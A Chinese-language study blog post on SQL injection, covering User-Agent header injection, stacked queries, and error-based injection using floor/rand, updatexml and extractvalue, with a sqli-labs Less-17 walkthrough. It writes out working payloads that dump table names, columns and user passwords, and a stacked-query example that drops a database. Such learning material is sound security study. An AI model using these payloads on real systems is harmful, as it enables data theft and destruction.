刚刚写了cisp安全工程与运营,写的我头昏脑胀,迷迷糊糊,接下来开始sql注入第五章节,也是最后一种注入类型“基于报错的盲注”与sqlmap,下一章就开始刷题,争取今天把sql注入完结了,明天开始文件上传漏洞啦

目录

一、user-agent(反扒手段)

准备注入

二、Stacked queries 堆叠注入

三、Error-based Injection

rand()

floor()

group by

四、实战演练

sql-labs less17


一、user-agent(反扒手段)

user-agent注入的情况其实非常少

浏览器识别user-agent,像前几章写的脚本,如果在存在user-agent的情况下是不可用的,因为网页会先检测user-agent再执行(好像是这样的),应对方法也很简单,和cookie一样抄一个或者仿造一个都可以

下面进入靶场

可以看到,连输入框都没有

这里User-Agent就是直接从User-Agent中取

IP Address从remote_addr中取

时间是直接访问的当前时间

看一下当前的User-Agent

和上面一毛一样啊

准备注入

首先这种情况下就不能用浏览器进行注入啦,因为连输入框都没有,只能postman或者其他工具抓包啦

postman中别忘了cookie

ip这里出问题了,但是无伤大雅

我们再send一次

看出问题了吗,其实这里显示的是一张表,每次访问这个网站的时候,就会向这个表里插入一条记录

我们猜测一下这里的插入语句

insert into table value=(time(),ip,user-agent)

这样我们尝试构造一个user-agent试一下

ps:在header里面(和cookie在一块)加一个User-Agent

按照上面的语句构造出 aaa') -- +结果报错了,但是别慌,报错信息“列计数与第1行的值计数不匹配”,说明插入的参数少了,那会不会是这种情况

insert into table value=(time(),user-agent,ip)

那我们再尝试构造一下

可以看到这时成功把我们构造出来的内容插进去了

下面就是常规操作读数据啦,这里就演示个读取表名吧

aaaa',(select group_concat(table_name) from
information_schema.tables where table_schema=database())) -- +

再说一遍这种情况真的很少哦,后面就是直接拿数据啦,相信对于从(一)看到这里的朋友们来说都so easy啦

二、Stacked queries 堆叠注入

这种情况巨少,巨威胁,威力巨大,特别特别少,几乎没有,因为一旦出现这个漏洞,我们可以直接给它数据库删掉,一般开发软件默认都不支持多条语句

堆叠注入,故名思意可以通过分号分隔,输入多个sql命令

select * from users where id='1';drop database.users -- + ;

如果这个语句能执行,恐怖吧,谁都别活,我直接给你删掉!

真实环境中,如果存在该漏洞,通常只返回一个结果,即第一条语句的结果,后面的语句被执行但是看不到返回结果,同时我们还需要知道一些数据库信息,比如我们删库删表需要库名表名,这种漏洞可操作空间巨大,比如我给它创建一堆数据表,改那个表的信息,删除那条特定的数据,增删改查无所不能。

三、Error-based Injection

常用函数:

rand()

返回随机数 0<返回值<1

select rand() from 表名:

能查出几条数据返回几个随机数

rand(种子)

每次返回的值都相同(伪随机)

floor()

floor(x)返回一个小于x的整数

floor配合rand()

floor(rand(0)*2)返回1,0

group by

这里只讲特性

select count(*),floor(rand(0)*2)x from xx group by x

这是报错型注入常用的一组语句,它的报错原理是因为

在组合时会新建一张虚拟的表

先执行floor(rand(0)*2)取值,判断虚拟表里是否存在这个值,如果存在则加一

不存在,则再执行一遍floor(rand(0)*2)并写入表中

仔细理解这个过程,rand(0)是伪随机数,它会按照执行次数产生随机数

配合floor(rand(0)*2)它产生的序列为0 1 1 0 1 1

我们模拟一下虚拟表的创建过程

select count(*),floor(rand(0)*2)x from xx group by x

识别第一个数 为0 表中啥也没有 则再执行一遍x 这个时候x值就变成1了

则插入表中count 1,key 1

再次识别 floor(rand(0)*2) 为1 表中有 则

count 2,key1

再次识别 floor(rand(0)*2) 为0 表中没有 则在执行一遍x 这时时候x值又变成1了

如果不报错则表变成:

count 2,key 1

count 1,key 1

这就能看出问题了吧,这里两个key取了同一个值,这个时候就会报错

注意:from的表中数据过少有可能不会报错

这个时候会报错 entry ’1‘ for key <group_key>

我们需要把1 替换成我们想看到的数据

使用 concat拼接字符串

select count(*),concat((select database()),floor(rand(0)*2))x from xxx group by x

这个时候因为x字段前面的内容都是一样的,排序时还是看floor(rand(0)*2),但是报错时会把整个x输出出来

1' union select 1,2,count(*),concat(database(),'~',floor(rand(0)))x,3,4,5 from information_schema.tables group by x -- +

updatexml()

我看的课到上面那块就没了,这个函数我查了一下,基本用法就是

updatexml(’1‘,concat(database()),’1‘) 可以报错

因为concat()不满足格式所以会报错

extractvalue()

extractvalue(1,concat((database()))) 可以报错

四、实战演练

sql-labs less17

这道题是改名字的题

应该就是 update users set password。=''where user name=' '

我在username上做了很多努力 ,单引号双引号等等,找不到注入点

然后转到 password上,找到了注入点

username 输入 Dumb; password 直接一个单引号看到报错

尝试一下上面提到的updatexml(),为啥不用floor 因为这里是update语句

这块其实要小心一点,因为 注释会把后面的where 注释掉,从而把所有的密码都改成1,但是问题不大,我好像昨天再尝试的时候就已经都改成1了,这里要注意哦

' and updatexml(1,concat('~',database(),'~'),1) -- +

数据库名就提取出来啦

再浅浅试一下extractvalue()

' and extractvalue(1,concat('~',(database())))  -- +

继续获取表名

' and updatexml(1,concat('~',(select group_concat(table_name)
from information_schema.tables
where table_schema=database())),1) -- +

' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema=database() )))  -- +

后面只演示extractvalue()

查询user表字段

' and extractvalue(1,concat('~',(select group_concat(column_name)
from information_schema.columns where table_name='users' and
table_schema=database()))) -- +

查询一下密码吧,看看自己干的好事

' and extractvalue(1,concat('~',(select group_concat(password,'~') from users ))) -- +

因为是update users 所以这里不让用users ,但是我们可以 from (select password from users)x绕过这个表名

' and extractvalue(1,concat('~',(select group_concat(password,'~') from (select password from users)x ))) -- +

当我看到这个结果的时候我大受震惊,我真的给这个表搞坏了

让我们查一下名字吧

先自己修一下吧,让他用户名和密码都一样吧

注意这种题,一定要小心 update 的题!

ps:有问题想办法绕过或者用别的函数代替!办法总比困难多!

ok 下一章开始刷题!

sql注入进阶/user-agent/基于报错的注入/保姆级教程/一看就会/相关推荐

  1. SQL注入——基于报错的注入(五)

    本章目的 普及报错功能函数extractvalue()的用法,演示基于报错的SQL注入基本流程. 实验环境 攻击机:Pentest-Atk (1)操作系统:Windows10 (2)安装的应用软件:S ...

  2. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

  3. sql注入 1-1_基于报错的注入

    sql注入 1-1_ 基于报错注入 1.判断是否存在报错注入 通过 id =1 可以看到服务器返回正常页面 通过 id=1 and 1=1 通过 id=1 and 1=2 服务器也返回正常 通过 id ...

  4. linux安装nginx详细步骤和make编译报错问题(保姆级)

    目录 1.安装依赖包 2.下载并解压安装包 3.安装nginx 3-1.源码编辑时常见错误解决方法 4.启动nginx服务 4-1.配置nginx.conf 5.重启nginx 6.若想使用外部主机访 ...

  5. sqli-labs-基于报错的注入

    目录 updatexml()函数 extractvalue()函数 floor()函数 exp()函数 geometrycollection()函数 multipoint()函数 构造参数?id=1& ...

  6. B站小迪安全笔记第十六天-SQL注入之查询方式及报错盲注

    前言: 当进行 SQL 注入时,有很多注入会出现无回显的情况,其中不回显 的原因可能是 SQL 语句查询方式的问题导致,这个时候我们需要用到相 关的报错或盲注进行后续操作,同时作为手工注入时,同时作为 ...

  7. SQL 新加字段查询窗口报错

    SQL 新加字段查询窗口报错 这是由于SQL Server的intellisense的引起的,intellisense是SQL Server的智能记录智能感知功能,即当给sql表名加上".& ...

  8. SQL数据库可疑恢复 挂起恢复 置疑恢复 SQL数据库无法附加修复 附加报错 9003

    SQL数据库可疑恢复 挂起恢复 置疑恢复 SQL数据库无法附加修复 附加报错 9003 数据类型 MSSQL 2008R2  数据大小 352 MB 故障检测 服务器几次断电后数据库可疑 无法附加 消 ...

  9. 安装 SQL Sever 2000至最后步骤报错“安装程序配置服务器失败。 参考服务器错误日志和 C: \Windows\sqltsp.log 了解更多信息”

    在安装 SQL Sever 2000至最后步骤报错"安装程序配置服务器失败. 参考服务器错误日志和 C: \Windows\sqltsp.log 了解更多信息" ,如 图: 解决方 ...

最新文章

  1. 【转】奴性哲学十句话,洗脑常用词!!!
  2. mysql查询两个日期之间的数据
  3. 《Adobe Illustrator CC 2014中文版经典教程(彩色版)》—第1课1.4节修改图稿的视图...
  4. python 语句简写_自学Python-语句之列表推导式
  5. 【转】PHP会话Session使用详解
  6. 【ElasticSearch】Es 源码之 LicenseService 源码解读
  7. tracker服务器php,FastDFS-5.05 tracker服务器安装nginx+php
  8. ASP.NET长文章分页
  9. WAS7.0安装补丁升级程序无法替换文件 java/docs/autorun.inf解决办法
  10. 完成端口学习笔记(一):完成端口+控制台 实现文件拷贝
  11. 小项目正确的操作姿势,碾压工薪阶层
  12. 基于Html+Css+javascript的体育网站
  13. MindManager2022安装使用教程
  14. 什么是MRAM(不挥发性磁性随机存储器)
  15. 微型计算机故障分为哪几类,西南大学19秋[0240] 计算机维修技术在线作业
  16. win 2008 R2远程桌面授权
  17. 如何提升订单周转,避免订单交期延误?
  18. 图纸打印什么时候用蓝图_cad图如何打印成施工蓝图
  19. 17.Future 介绍与主要用法
  20. Opera下载最新版本地址

热门文章

  1. 解密微信开放高级接口 企业如何应对
  2. 一加ace2v和2区别对比 一加ace2和一加ace2v哪个好
  3. 怎么绘制对数函数图象
  4. 自写网络验证,支持注册 充值 在线消息 自动更新
  5. 联想集团ESG与社会价值论坛召开,首次发布《联想集团2022社会价值报告》
  6. 几种常见的软件授权模式
  7. 5阶魔方阵c语言程序设计,五阶魔方阵源代码c语言课到程设计.docx
  8. 【漏洞学习——SQL】华图教育某分站SQL注入漏洞
  9. 用ZBrush做游戏建模,3D打印,手办模型、珠宝设计等
  10. zabbix的php最低版本,ZABBIX企业监控实践(3):升级与配置PHP